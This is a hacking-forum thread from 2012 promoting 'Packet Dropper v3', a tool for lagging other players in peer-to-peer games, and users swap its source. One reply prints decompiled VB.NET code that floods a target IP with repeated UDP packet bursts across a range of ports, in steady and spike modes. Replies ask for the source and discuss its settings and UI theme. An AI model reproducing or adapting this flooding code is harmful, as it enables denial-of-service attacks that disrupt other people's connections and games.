DO NOT DEAL WITH THIS MEMBER
Apr 19, 2012 04:05 PM
(This post was last modified: Apr 20, 2012 12:04 PM by Killer1478.)
Packet Dropper v3
What Is It?
Most useful in a P2P Environment, it causes latency + drops packets.
Which, If you've ever played a P2P Game, can give you a advantage.
What Are The Features?
• Two Different Methods [Constant Method/Spike Method]
• Speeds Can Be Set Anywhere From 8MB/s -> 7KB/s
• Tool Tips Incase You Need Extra Help
• Easy To Use; But Good Looking UI
• Built-In Latest Version Check
• Built-In Hit Counter
• Multiple Threads
Can You Prove It Works?
Regular Ping Test
[img]http://www.pingtest.net/result/61262710.png[/img]
Packet Dropper Enabled
[img]http://www.pingtest.net/result/61262287.png[/img]
Insightful Information
• The Speed Is Based On Sleep Time! The Lower The Number, The Faster The Attack.
• It Is HIGHLY Recommended To Use A Network Meter So You Don't Go TOO Fast.
• If You Would Like To See The Source, Post Here Then PM Me!
• If You Have Any Questions, Post Here Or PM Me!
• This Does Connect With My Website To Check For Updates!
• Was Not Obfuscated. Feel Free To Look Through It!
Will you share the source with me please?
(Apr 19, 2012 04:08 PM)+Bourbon Wrote: Will you share the source with me please?
The file is unprotected, therefor OP must want people to post his source. Just Reflect it.
Code Private Sub BackgroundWorker2_DoWork(ByVal sender As Object, ByVal e As DoWorkEventArgs)
Dim random As New Random
Label_0006:
Me.ZSpike = 0
Label_000D:
Me.ZSpeed3 = random.Next(Me.ZSpeed, Me.ZSpeed2)
If Me.BackgroundWorker2.CancellationPending Then
Return
End If
Me.ZPort += 1
If (Me.ZPort > &H1E78) Then
Me.ZPort = &H1E14
End If
Me.udpClient.Connect(Me.ZIP, Me.ZPort)
Me.bytCommand = Encoding.ASCII.GetBytes("b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c" & ChrW(8203) & "22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091" & ChrW(8203) & "b970b1dcdba8b16c22fa1ab5e3d41091")
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.ZSpike += 1
If (Me.ZSpike < 500) Then
Thread.Sleep(Me.ZSpeed3)
goto Label_000D
End If
Do
If Me.BackgroundWorker2.CancellationPending Then
Return
End If
Me.ZPort += 1
If (Me.ZPort > &H1E78) Then
Me.ZPort = &H1E14
End If
Me.udpClient.Connect(Me.ZIP, Me.ZPort)
Me.bytCommand = Encoding.ASCII.GetBytes("b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c" & ChrW(8203) & "22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091" & ChrW(8203) & "b970b1dcdba8b16c22fa1ab5e3d41091")
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.ZSpike += 1
Loop While (Me.ZSpike < &H3E8)
goto Label_0006
End Sub
Code Private Sub BackgroundWorker1_DoWork(ByVal sender As Object, ByVal e As DoWorkEventArgs)
Do While Not Me.BackgroundWorker1.CancellationPending
Me.ZPort += 1
If (Me.ZPort > &H1E78) Then
Me.ZPort = &H1E14
End If
Me.udpClient.Connect(Me.ZIP, Me.ZPort)
Me.bytCommand = Encoding.ASCII.GetBytes("b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c" & ChrW(8203) & "22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091" & ChrW(8203) & "b970b1dcdba8b16c22fa1ab5e3d41091")
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Me.udpClient.Send(Me.bytCommand, Me.bytCommand.Length)
Thread.Sleep(Me.ZSpeed)
Loop
End Sub
DO NOT DEAL WITH THIS MEMBER
Apr 19, 2012 04:26 PM
(This post was last modified: Apr 19, 2012 04:27 PM by Killer1478.)
(Apr 19, 2012 04:08 PM)+Bourbon Wrote: Will you share the source with me please?
Sent. Enjoy.
@Smasher, Its unprotected because it's not like there is anything revolutionary that I have to prevent people from taking.
Id like to get the source. nevee saw something like this before
Will you share the source with me too, please?
:) :) :) :)
You should also mention that if you use it too long you'll get disconnected...
Note: This uses your home connection, so be careful.
DO NOT DEAL WITH THIS MEMBER
Looks good nice share :D and nice simple effective layout :D
DO NOT DEAL WITH THIS MEMBER
Apr 20, 2012 10:23 AM
(This post was last modified: Apr 20, 2012 10:23 AM by Killer1478.)
(Apr 20, 2012 12:32 AM)Percocet Wrote: You should also mention that if you use it too long you'll get disconnected...
Note: This uses your home connection, so be careful.
If you disconnect, you did not configure it correctly. Maybe I should have specified a little more.
You are supposed to set it so you get a little bit more latency, as you see, the dropper only added about 40 latency to me, but added 50~ jitter.
Source sent to those who have asked/PM'd
Can i Please Have The Source ?
i would like to add more features to my Force lagger :D
ill give credit :D
anyways whats the theme you used and how did you apply it ?
DO NOT DEAL WITH THIS MEMBER
Sent.
The theme was a slightly modified Ghost 2.0 Theme.
Modified very slightly what happens in the control box.
The program looks very nice! I hate it when people lag the fuck out of a game though, but it's very nicely done :)
Thanks for giving me credits too, not a lot of people do that!
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(Apr 20, 2012 02:19 PM)Meerkat. Wrote: The program looks very nice! I hate it when people lag the fuck out of a game though, but it's very nicely done :)
Thanks for giving me credits too, not a lot of people do that!
Wow thanks, yeah I really like your themes, they are some of the best I could find. I hope you didn't mind me editing it slightly; and yeah, you obviously deserved credit for the theme and that was one of the requirements on your thread, so I went ahead and did it :p
(Apr 20, 2012 02:24 PM)Killer1478 Wrote: Wow thanks, yeah I really like your themes, they are some of the best I could find. I hope you didn't mind me editing it slightly; and yeah, you obviously deserved credit for the theme and that was one of the requirements on your thread, so I went ahead and did it :p
D'awww, thanks :)
I really don't mind if people edit my themes. I really love it when people change it to their own needs.
DO NOT DEAL WITH THIS MEMBER
(Apr 20, 2012 02:32 PM)Meerkat. Wrote: D'awww, thanks :)
I really don't mind if people edit my themes. I really love it when people change it to their own needs.
Lol, thats good. Some people are purists and demand nothing be changed at all. Thanks again though. I can't wait to see if you have any new work planned.
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